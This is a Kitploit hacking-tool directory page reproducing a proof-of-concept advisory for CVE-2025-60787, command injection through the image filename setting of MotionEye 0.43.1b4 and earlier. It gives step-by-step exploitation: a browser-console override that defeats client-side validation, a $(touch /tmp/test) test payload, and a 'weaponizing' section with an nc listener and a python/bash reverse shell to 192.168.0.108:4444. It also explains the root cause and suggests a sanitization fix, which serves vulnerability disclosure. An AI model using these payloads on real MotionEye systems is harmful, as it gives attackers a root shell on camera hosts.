Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-60787 — Proof-of-concept for CVE-2025-60787, demonstrating remote code execution in MotionEye <= 0.43.1b4 via client-side validation bypass and command injection in image filename. | Kitploit
Tools/GitHubGitHub/prabhatverma47/cve-2025-60787
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubprabhatverma47/cve-2025-60787

CVE-2025-60787

Proof-of-concept for CVE-2025-60787, demonstrating remote code execution in MotionEye <= 0.43.1b4 via client-side validation bypass and command injection in image filename.

View Repository
411 year agoNot yet reviewed
Share

CVE-2025-60787

CVE-2025-60787 Poc - RCE - MotionEye <= 0.43.1b4
Original link: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter

MotionEye RCE via Client-Side Validation Bypass

Summary

During security testing of a MotionEye instance running in Docker, it was observed that client-side validation within the web UI can be bypassed. This allows arbitrary input to be submitted, including payloads that can trigger execution on the host container. The issue poses a risk of remote code execution (RCE) if exploited.

Affected Versions: All versions up to and including 0.43.1b4
Patch Status: No patch available yet. A workaround is given in this advisory.
project reference: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10


Environment

  • Target: MotionEye running in Docker
  • Image: ghcr.io/motioneye-project/motioneye:edge
  • Exposed Port: 9999 mapped to container’s 8765
  • Test Credentials: admin / blank password (default)

Steps to Reproduce

1. Container Setup

Run the following command to initiate the Docker image download and start the container

docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
image

2. Version Verification

docker logs motioneye | grep "motionEye server"

Result: MotionEye server 0.43.1b4 image

3. File System Access

Once the Docker container is running, the container shell can be accessed using the following commands

docker exec -it motioneye /bin/bash
ls -la /tmp
image

4. Initial Access

Access web interface at:
http://127.0.0.1:9999
Login: admin (blank password)

5. Camera Setup

Added sample RTSP network camera.
image

6. Injection Attempt

A malicious execution command was entered into the “Still Images” > “Image File Name” , but a client-side validation error was encountered.

$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

Blocked by client-side validation.
image

image

7. Client-Side Validation Discovery

The following script is responsible for the validation: /static/js/main.js?v=0.43.1b4, which references /static/js/ui.js?v=0.43.1b4 to implement the validation conditions.

File: /static/js/main.js?v=0.43.1b4 referencing /static/js/ui.js?v=0.43.1b4

function configUiValid() {
    $('div.settings').find('.validator').each(function () { this.validate(); });
    var valid = true;
    $('div.settings input, select').each(function () {
        if (this.invalid) { valid = false; return false; }
    });
    return valid;
}

8. Bypass Technique

By overriding the configUiValid function in the browser console, all validation checks can be bypassed: Enter below snippet in console of the browser (F12 or Ctrl+Shift+I)

configUiValid = function() { 
    return true; 
};
image

9. Payload Execution

Now payload can be directly entered without any validation: set as below and Apply the settings

Settings:

  • Capture mode = Interval Snapshots
  • Interval = 10
  • Image File Name:
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
image

Applied → File created with root permissions.

image

Impact: Weaponizing RCE

simple reverse shell production:

Listener:

nc -lvnp 4444
image

Injected Payload:

$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
image

Result: Remote shell obtained.


Root Cause & Flow

MotionEye is vulnerable because it takes user input from the web dashboard and writes it straight into the Motion config files without checking for dangerous characters. For example, the field image_file_name in the UI is sent to the backend (config.py) and saved into /etc/motioneye/camera-.conf. When MotionEye restarts the Motion service (motionctl.start), the Motion process reads this config file. If the picture_filename field contains shell syntax like $(touch /tmp/test), Motion will run it as a real command instead of treating it as part of the filename.

Unsanitized input written into Motion config files:
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion parses picture_filename → executes payload


Prevention

Sanitization Fix

File: /usr/local/lib/python3.13/dist-packages/motioneye/config.py

def sanitize_filename(value):
    # allow only letters, numbers, %, _, -, /, .
    for ch in value:
        if not (ch.isalnum() or ch in "%-_/."):
            return "%Y-%m-%d/%H-%M-%S"  # safe fallback
    return value
image
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    547
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    369
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    366
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    309
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    282

Explore all tools

Browse our collection of tools

View all tools →